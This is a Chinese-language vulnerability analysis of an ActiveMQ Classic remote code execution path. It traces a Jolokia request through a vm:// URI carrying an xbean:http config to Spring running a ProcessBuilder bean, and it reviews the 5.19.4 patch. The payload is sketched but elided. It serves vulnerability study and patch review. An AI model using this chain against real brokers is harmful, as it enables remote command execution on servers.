```
5.3.39
4.25
```
在 XBean 4.25 中,`ResourceXmlApplicationContext` 从其构造函数调用 `refresh()`:
```
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
```
它从提供的资源加载 bean 定义:
```
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
throws BeansException, IOException {
reader.loadBeanDefinitions(resource);
}
```
然后,Spring 的 `AbstractApplicationContext.refresh()` 初始化 bean 工厂并实例化非懒加载的单例 bean:
```
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
```
`finishBeanFactoryInitialization()` 调用:
```
beanFactory.preInstantiateSingletons();
```
`DefaultListableBeanFactory.preInstantiateSingletons()` 创建每个非抽象、单例、非懒加载的 bean:
```
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
```
在 bean 初始化期间,Spring 调用自定义初始化方法:
```
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
...
invokeInitMethods(beanName, wrappedBean, mbd);
...
}
```
自定义初始化方法从 bean 定义中解析:
```
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
```
`invokeCustomInitMethod()` 反射调用该方法:
```
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
```
一个恶意的 Spring XML bean,例如:
```
```
会导致以下行为:
```
ResourceXmlApplicationContext constructor
-> refresh()
-> XmlBeanDefinitionReader.loadBeanDefinitions()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> getBean("exec")
-> instantiate java.lang.ProcessBuilder
-> initializeBean()
-> invokeInitMethods()
-> invokeCustomInitMethod("start")
-> ProcessBuilder.start()
```
这发生在 `XBeanBrokerFactory.createBroker()` 通过查找 `BrokerService` bean 来验证生成的上下文之前:
```
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
```
Broker 验证发生在 Spring 上下文刷新之后。因此,一个配置可以执行任意的初始化方法,但稍后仍可能作为无效的 broker 配置被拒绝。
### 根本原因分析
根本原因是远程可调用的管理操作与受信任的本地 broker 引导机制之间存在不安全的架构桥接。
易受攻击的设计具有以下特性:
- Jolokia 为 ActiveMQ broker 管理 MBean 暴露了 JMX `exec` 操作。
- `BrokerView.addNetworkConnector(String)` 接受攻击者控制的 URI 输入。
- 该 URI 在没有管理平面对危险传输方案限制的情况下被传递到 ActiveMQ 网络代码中。
- `static:(...)` 发现导致封闭的 URI 在网络连接器启动时自动连接。
- `vm://` 传输不仅是一种 VM 内传输;它还支持在指定的 VM broker 不存在时自动创建 broker。
- `VMTransportFactory` 将 `brokerConfig` 视为 broker 工厂 URI,并将其转发给 `BrokerFactory.createBroker()`。
- `BrokerFactory` 通过 `XBeanBrokerFactory` 支持 `xbean:` URI。
- `XBeanBrokerFactory` 接受 URL 资源并构造一个 Spring `ResourceXmlApplicationContext`。
- Spring 在上下文刷新期间急切实例化单例 bean 并调用自定义初始化方法。
- ActiveMQ 仅在 Spring 已经初始化上下文之后,才检查上下文是否包含有效的 `BrokerService`。
这不仅仅是独立的“输入验证不当”。易受攻击的行为是由于通过运行时 JMX 操作暴露了一个支持配置的 URI 解释器,并允许该解释器到达 Spring bean 生命周期执行而引起的。
确切的失败点是,管理 API 将 `discoveryAddress` 视为连接器地址,但下游传输堆栈将其视为可执行配置。在利用路径中,该字符串被求值为:
```
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
```
验证发生得太晚,因为 `XBeanBrokerFactory` 中唯一的 broker 配置验证发生在:
```
new ResourceXmlApplicationContext(resource)
```
之后,并且该构造函数执行:
```
refresh() -> preInstantiateSingletons() -> init-method invocation
```
等到 ActiveMQ 确定该 XML 没有有效的 `BrokerService` 时,攻击者控制的 Spring bean 可能已经执行了。
### 补丁分析
相关的差异已通过以下方式审查:
```
git diff activemq-5.18.6..activemq-5.19.4
```
安全相关的更改位于:
```
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
```
在 5.18.6 中,`addNetworkConnector()` 直接转发该字符串:
```
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
```
在 5.19.4 中,在调用 `BrokerService` 之前添加了验证:
```
public String addNetworkConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
```
相同的验证被添加到了 `addConnector()` 中:
```
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
```
验证器拒绝 `vm` 传输方案:
```
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
// Don't allow more than 5 nested URIs to prevent blowing the stack
if (depth > 5) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
if (scheme.equals("vm")) {
throw new IllegalArgumentException("VM scheme is not allowed");
}
}
```
修补后的执行路径变为:
```
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
```
这在请求到达以下位置之前就阻止了利用:
```
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
```
该补丁并未全局移除 VM 传输支持。它限制了通过面向 JMX 的 `BrokerView` 连接器创建方法使用 `vm://`。使用 VM 传输的内部或受信任代码路径仍然存在。
在 5.18.6 和 5.19.4 之间,未对 `VMTransportFactory.doCompositeConnect()` 进行安全相关的更改。`brokerConfig` 行为保持不变:
```
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
```
在此差异中,未对 `XBeanBrokerFactory.createApplicationContext()` 进行安全相关的更改。远程 URL 资源和 Spring `ResourceXmlApplicationContext` 行为仍然可用于受信任的 broker 配置加载。
`BrokerFactory` 从原始的 `FactoryFinder` 更改为类型化的 `FactoryFinder`:
```
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
- new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
+ = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+ BrokerFactoryHandler.class, null);
```
这是类型安全清理,而非 RCE 缓解。基于方案到 `XBeanBrokerFactory` 的分派仍然存在。
`BrokerService` 在某些路径中为连接器启动添加了 `isAutoStart()` 检查:
```
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
```
这不是针对 Jolokia 到 RCE 路径的主要修复。主要的缓解措施是在 `BrokerView` 中预分派拒绝 `vm://`。
补丁行为摘要:
- 5.18.6:`BrokerView.addNetworkConnector()` 接受 `static:(vm://...?brokerConfig=xbean:http://...)` 并将其传递到下游。
- 5.19.4:`BrokerView.addNetworkConnector()` 在创建连接器之前验证提供的 URI,并拒绝嵌套的 `vm://` 使用。
- 5.18.6:`VMTransportFactory` 可以消耗从 JMX 路径到达的攻击者控制的 `brokerConfig`。
- 5.19.4:`VMTransportFactory` 仍然支持 `brokerConfig`,但暴露的 JMX 路径在 VM 传输解析之前即被阻止。
### 静态分析结论
ActiveMQ Classic 5.18.6 中确切的易受攻击代码路径是:
```
HTTP POST /api/jolokia/
-> Jolokia exec operation
-> org.apache.activemq:type=Broker,brokerName=
-> BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.setUri(URI)
-> DiscoveryAgentFactory.createDiscoveryAgent(URI)
-> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
-> BrokerView.addNetworkConnector(): connector.start()
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createApplicationContext(String)
-> Utils.resourceFromString(String)
-> new ResourceXmlApplicationContext(Resource)
-> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
-> AbstractApplicationContext.refresh()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
-> ProcessBuilder.start()
```
利用之所以可能,是因为 ActiveMQ 暴露了一个接受连接器 URI 的管理操作,但下游传输实现可以将该 URI 解释为 broker 创建配置。`brokerConfig` 参数从传输连接逻辑跨越到 broker 工厂逻辑。使用 `xbean:` 值时,它再次跨越到 Spring XML 处理。
Spring 执行原语不是单独的反序列化 bug。它是正常的 Spring 生命周期行为:一个非懒加载的单例 bean 在上下文刷新期间被实例化,并且其配置的 `init-method` 被调用。因此,一个配置了 `init-method="start"` 的 `java.lang.ProcessBuilder` bean 会在应用程序上下文初始化期间执行一个进程。
验证失败是一个顺序缺陷。ActiveMQ 仅在 `ResourceXmlApplicationContext` 已经加载 XML 并初始化单例 bean 之后,才验证 XBean 配置是否包含可用的 `BrokerService`。在刷新之后拒绝 broker 配置并不能撤销 bean 生命周期方法的副作用。
5.19.4 补丁通过在 `BrokerView` 中创建连接器之前添加 URI 验证并拒绝通过 JMX 管理表面使用 `vm://` 传输,缓解了此特定路径。该补丁阻止了暴露到 `VMTransportFactory.doCompositeConnect()` 的路径;它并未从受信任的内部配置路径中移除 `brokerConfig`、`xbean:` 支持或 Spring XBean 加载。
标签:ActiveMQ, CVE-2026-34197, Docker, Jolokia, JS文件枚举, Payload, Python, Spring XML, VM Transport, 利用代码, 安全测试, 安全防御评估, 情报收集, 攻击性安全, 无后门, 服务漏洞, 概念验证, 漏洞研究, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护